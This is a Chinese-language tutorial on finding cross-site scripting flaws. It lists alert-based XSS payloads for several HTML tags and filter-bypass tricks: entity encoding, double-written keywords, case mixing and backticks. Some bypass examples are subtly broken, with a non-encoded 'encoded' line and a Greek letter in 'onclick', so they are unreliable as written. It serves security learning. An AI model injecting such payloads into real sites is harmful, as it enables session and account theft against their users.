目录
一.形成原因及挖掘思路
跨站脚本漏洞(xss)形成是因为存在可以控制的接口,由于客户端的一切输入都是不可信的!而在某些站点如果存在可控制的接口,并且对于用户的输入不进行过滤或者过滤不严谨,导致该接口在一定程度上,仍然可以视为可控制的接口,就导致该漏洞产生。所以一般挖掘的思路,应该要找到与服务器存在交互的点,可以先通过一些正常的测试,判断是否有对应输入的回显,如果存在,应该去测试过滤,查看是否有未过滤严谨的地方。(白名单也可以测试,尽可能的找全所有的白名单)
部分可用标签及属性
//<img>
<img src="" onerror=alert(1)>
<img src="" onerror=eval("alert('xss')")>
//<form>\<iframe>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
//<a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
//<input>
<input onfocus="alert('xss');" autofocus>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
//<svg>
<svg onload=alert(1)>
//<scrip>
<script>alert(1)</script>
二·过滤绕过(关键字被拦截)
1.编码绕过
HTML实体编码绕过
<a href="javascript:alert(1)">
当script被过滤的时候可以用HTML实体编码绕过
<a href="javascript:alert(1)">
一个在线编码的站:HTML字符实体转换,网页字符实体编码
2.双写绕过
<script>alert(1)</script>
<sscriptcript>alert(1)</sscriptcript>
3.大小写绕过
<a href="javascript:alert(1)">
<a HrEf="javasCRipT:alert(1)">
4.单双引号绕过
可以用反引号代替单双引号
<input οnclick="javascript:alert(1)">
<input οnclick=``javascript:alert(1)``>
三·小结
个人感觉,反射型xss,现在各大漏洞平台都觉得很鸡肋了,利用也很麻烦,还要各种钓鱼,实用性不高。但是存储型还是很严重的漏洞,一般在有文件上传的点,也可以构造xss而且一般都是存储型的,一般的web应用,在个人资料处,留言等等地方存在的可能性更高